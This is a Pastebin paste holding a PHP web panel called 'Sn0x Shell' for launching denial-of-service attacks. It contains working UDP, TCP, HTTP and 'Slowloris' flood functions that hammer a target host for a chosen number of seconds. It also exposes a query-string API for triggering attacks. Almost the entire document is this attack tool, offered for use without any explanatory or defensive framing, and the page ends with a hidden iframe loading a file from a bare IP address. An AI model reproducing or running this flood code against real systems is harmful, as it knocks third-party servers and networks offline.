Advertisement
Guest User

SNOX SHELL PHP DDOS

a guest
Nov 1st, 2013
14,551
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.15 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4.  
  5.  
  6. $type = $_GET['type'];
  7. $host = $_GET['host'];
  8. $time = $_GET['time'];
  9. $port = $_GET['port'];
  10. $page = $_GET['page'];
  11. $myna = $_SERVER[PHP_SELF];
  12.  
  13.  
  14. ?>
  15.  
  16.  
  17. <!DOCTYPE html>
  18. <html lang="en">
  19. <head>
  20. <meta charset="utf-8">
  21. <title>SN0X SHELL: WEEEEEEEEEEEEEEEEED</title>
  22. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  23. <meta name="description" content="">
  24. <meta name="author" content="">
  25.  
  26. <!-- Le styles -->
  27. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap.css" rel="stylesheet">
  28. <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap-responsive.css" rel="stylesheet">
  29. <link href="http://getbootstrap.com/2.3.2/assets/css/docs.css" rel="stylesheet">
  30. <link href="http://getbootstrap.com/2.3.2/assets/js/google-code-prettify/prettify.css" rel="stylesheet">
  31. <center>
  32. <b style="font-size:44px;"><font color="#009300">S</font><font color="#ffd700">n</font><font color="#ff0000">0x</font> SHELL</b>
  33. <br><br>
  34. </center>
  35. <div class="well">
  36. <center>
  37. <?php if(empty($_GET['type'])) { ?><br>SEND ATTACK DDOS<br><br>
  38. <form action="" method="get">
  39. <input type="text" name="host" placeholder="HOST"><br>
  40. <input type="text" name="port" placeholder="PORT"><br>
  41. <input type="text" name="time" placeholder="TIME"><br>
  42. <select name="type">
  43. <optgroup label="Methodes 1">
  44. <option value="UDP">UDP</option>
  45. <option value="TCP">TCP</option>
  46. <option value="HTTP">HTTP</option>
  47. <option value="SLOWLORIS">SLOWLORIS</option>
  48. </opt>
  49.  
  50. <optgroup label="Methodes 2">
  51. <option value="UDP">HOME CONNECTION</option>
  52. <option value="TCP">SSYN</option>
  53. <option value="HTTP">WEBSITE CRASH</option>
  54. <option value="SLOWLORIS">WEBSITE CRASH SLOW</option>
  55. </opt>
  56. </select><br>
  57. <input type="submit" class="btn" value="START ATTACK!">
  58. </form>
  59.  
  60. <form action="" method="get">
  61. <input type="submit" name="" class="btn" value="STOP CURRENT ATTACK!">
  62. </form>
  63. <small>API FORMAT: index.php?host=[host]&port=[port]&time=[time]&type=[method (UDP/TCP/HTTP/SLOWLORIS)]</small>
  64. <?php } ?>
  65.  
  66. <?php
  67. $type = $_GET['type'];
  68. $host = $_GET['host'];
  69. $time = $_GET['time'];
  70. $port = $_GET['port'];
  71. $page = $_GET['page'];
  72. $myna = $_SERVER[PHP_SELF];
  73.  
  74. if ( isset( $_GET['type'] ) )
  75. {
  76. $type = $_GET['type'];
  77. $host = $_GET['host'];
  78. $time = $_GET['time'];
  79. $port = $_GET['port'];
  80. $page = $_GET['page'];
  81. $myna = $_SERVER[PHP_SELF];
  82.  
  83. if ( $type == "UDP" )
  84. {
  85. if ( $_GET['host'] != '' && $_GET['time'] != '' )
  86. {
  87. $page .= UDP_FLOOD( $host , $time );
  88. }
  89. else
  90. {
  91. $page .= ' <b>UDP Flood</b><br /><br />' . "\n";
  92. $page .= ' <form action="' . $myna . '" method="get">' . "\n";
  93. $page .= ' <table class="text">' . "\n";
  94. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  95. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  96. $page .= ' </table>' . "\n";
  97. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  98. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  99. $page .= ' </form>' . "\n";
  100. }
  101. }
  102. elseif ( $type == "TCP" )
  103. {
  104. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
  105. {
  106. $page .= TCP_FLOOD ( $host , $port , $time );
  107. }
  108. else
  109. {
  110. $page .= ' <b>TCP Flood</b><br /><br />' . "\n";
  111. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  112. $page .= ' <table class="text">' . "\n";
  113. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  114. $page .= ' <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  115. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  116. $page .= ' </table>' . "\n";
  117. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  118. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  119. $page .= ' </form>' . "\n";
  120. }
  121. }
  122. elseif ( $type == "HTTP" )
  123. {
  124. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  125. {
  126. $page .= HTTP_FLOOD ( $host , $page , $time );
  127. }
  128. else
  129. {
  130. $page .= ' <b>HTTP Flood</b><br /><br />' . "\n";
  131. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  132. $page .= ' <table class="text">' . "\n";
  133. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  134. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  135. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  136. $page .= ' </table>' . "\n";
  137. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  138. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  139. $page .= ' </form>' . "\n";
  140. }
  141. }
  142. elseif ( $type == "SLOWLORIS" )
  143. {
  144. if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
  145. {
  146. $page .= SLOWLORIS ( $host , $page , $time );
  147. }
  148. else
  149. {
  150. $page .= ' <b>Slowloris</b><br /><br />' . "\n";
  151. $page .= ' <form action="' . $myna . '" method="get">' . "\n";;
  152. $page .= ' <table class="text">' . "\n";
  153. $page .= ' <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  154. $page .= ' <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  155. $page .= ' <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  156. $page .= ' </table>' . "\n";
  157. $page .= ' <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  158. $page .= ' <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  159. $page .= ' </form>' . "\n";
  160. }
  161. }
  162. else
  163. {
  164.  
  165. }
  166. }
  167. else
  168. {
  169.  
  170. }
  171.  
  172. $page .= ' <br /></div>' . "\n";
  173. $page .= ' </body>' . "\n";
  174. $page .= '</html>' . "\n";
  175.  
  176. print$page;
  177.  
  178. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  179. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  180. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  181.  
  182. function UDP_Flood( $host , $length )
  183. {
  184. ignore_user_abort(TRUE);
  185. set_time_limit(0);
  186.  
  187. $max_time = time() + $length;
  188.  
  189. $packet = "";
  190. $packets = 0;
  191.  
  192. while( strlen ( $packet ) < 65000 )
  193. {
  194. $packet .= Chr( 255 );
  195. }
  196.  
  197. while( 1 )
  198. {
  199. if ( time() > $max_time )
  200. {
  201. break;
  202. }
  203.  
  204. $rand = rand( 1 , 65535 );
  205. @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  206. if( $fp )
  207. {
  208. fwrite( $fp , $packet );
  209. fclose( $fp );
  210. $packets++;
  211. }
  212. }
  213.  
  214. if ( $packets == 0 )
  215. {
  216. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  217. $rtn .= '<table class="text">' . "\n";
  218. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  219. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  220. $rtn .= '</table>' . "\n";
  221. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  222. }
  223. else
  224. {
  225. $rtn = '<b>UDP Flood</b><br /><br />' . "\n";
  226. $rtn .= '<table class="text">' . "\n";
  227. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  228. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  229. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  230. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  231. $rtn .= '</table>' . "\n";
  232. }
  233.  
  234. return$rtn;
  235. }
  236.  
  237. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  238. // TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  239. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  240.  
  241. function TCP_Flood( $host , $port , $length )
  242. {
  243. ignore_user_abort(TRUE);
  244. set_time_limit(0);
  245.  
  246. $max_time = time() + $length;
  247.  
  248. $packet = "";
  249. $packets = 0;
  250.  
  251. while( strlen ( $packet ) < 65000 )
  252. {
  253. $packet .= Chr( 255 );
  254. }
  255.  
  256. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  257.  
  258. while( 1 )
  259. {
  260. if ( time() > $max_time )
  261. {
  262. break;
  263. }
  264.  
  265. if( $fp )
  266. {
  267. fwrite( $fp , $packet );
  268. fclose( $fp );
  269. $packets++;
  270. }
  271. else
  272. {
  273. @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  274. }
  275. }
  276.  
  277. if ( $packets == 0 )
  278. {
  279. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  280. $rtn .= '<table class="text">' . "\n";
  281. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  282. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  283. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  284. $rtn .= '</table>' . "\n";
  285. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  286. }
  287. else
  288. {
  289. $rtn = '<b>TCP Flood</b><br /><br />' . "\n";
  290. $rtn .= '<table class="text">' . "\n";
  291. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  292. $rtn .= '<tr><td><b>Port:</b></td><td>' . $port . '</td></tr>' . "\n";
  293. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  294. $rtn .= '<tr><td><b>Packets:</b></td><td>' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s )</td></tr>' . "\n";
  295. $rtn .= '<tr><td><b>Megabytes:</b></td><td>' . round(($packets*65)/1024) . ' ( ' . round((($packets*65)/1024)/$length) . ' MB/s )</td></tr>' . "\n";
  296. $rtn .= '</table>' . "\n";
  297. }
  298.  
  299. return$rtn;
  300. }
  301.  
  302. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  303. // HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
  304. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  305.  
  306. function HTTP_Flood( $host , $page , $length )
  307. {
  308. ignore_user_abort(TRUE);
  309. set_time_limit(0);
  310.  
  311. if ( $page == '' )
  312. {
  313. $page = '/';
  314. }
  315.  
  316. $max_time = time() + $length;
  317.  
  318. $packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  319. $packet .= 'Host: ' . $host . "\r\n";
  320. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  321. $packet .= 'Keep-alive: 300' . "\r\n";
  322. $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  323.  
  324. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  325. while( 1 )
  326. {
  327. if ( time() > $max_time )
  328. {
  329. break;
  330. }
  331.  
  332. if( $fp )
  333. {
  334. fwrite( $fp , $packet );
  335. fclose( $fp );
  336. $packets++;
  337. }
  338. else
  339. {
  340. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  341. }
  342. }
  343.  
  344. if ( $packets == 0 )
  345. {
  346. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  347. $rtn .= '<table class="text">' . "\n";
  348. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  349. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  350. $rtn .= '</table>' . "\n";
  351. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  352. }
  353. else
  354. {
  355. $rtn = '<b>HTTP Flood</b><br /><br />' . "\n";
  356. $rtn .= '<table class="text">' . "\n";
  357. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  358. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  359. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  360. $rtn .= '</table>' . "\n";
  361. }
  362.  
  363. return$rtn;
  364. }
  365.  
  366. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  367. // SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
  368. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  369.  
  370. function SLOWLORIS( $host , $page , $length )
  371. {
  372. ignore_user_abort(TRUE);
  373. set_time_limit(0);
  374.  
  375. if ( $page == '' )
  376. {
  377. $page = '/';
  378. }
  379.  
  380. $max_time = time() + $length;
  381.  
  382. $packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  383. $packet .= 'Host: ' . $host . "\r\n";
  384. $packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
  385. $packet .= 'Content-length: 42' . "\r\n\r\n";
  386.  
  387. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  388. while( 1 )
  389. {
  390. if ( time() > $max_time )
  391. {
  392. break;
  393. }
  394.  
  395. if( $fp )
  396. {
  397. fwrite( $fp , $packet );
  398. fclose( $fp );
  399. $packets++;
  400. }
  401. else
  402. {
  403. @$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
  404. }
  405. }
  406.  
  407. if ( $packets == 0 )
  408. {
  409. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  410. $rtn .= '<table class="text">' . "\n";
  411. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  412. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  413. $rtn .= '</table>' . "\n";
  414. $rtn .= '<br /><b>An error occurred! Could not send packets.</b><br />' . "\n";
  415. }
  416. else
  417. {
  418. $rtn = '<b>Slowloris</b><br /><br />' . "\n";
  419. $rtn .= '<table class="text">' . "\n";
  420. $rtn .= '<tr><td><b>Host:</b></td><td>' . $host . '</td></tr>' . "\n";
  421. $rtn .= '<tr><td><b>Length:</b></td><td>' . $length . ' Second(s)</td></tr>' . "\n";
  422. $rtn .= '<b>Packets:</b> ' . round($packets) . ' ( ' . round($packets/$length) . ' packets/s ) <br />' . "\n";
  423. $rtn .= '</table>' . "\n";
  424. }
  425.  
  426. return$rtn;
  427. }
  428.  
  429. ?>
  430.  
  431. </center>
  432. </div>
  433. <iframe src="http://91.234.104.5/YG%20-%20My%20Nigga%20(Explicit)%20ft.%20Jeezy,%20Rich%20Homie%20Quan.mp3" width="0" height="1"></iframe>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement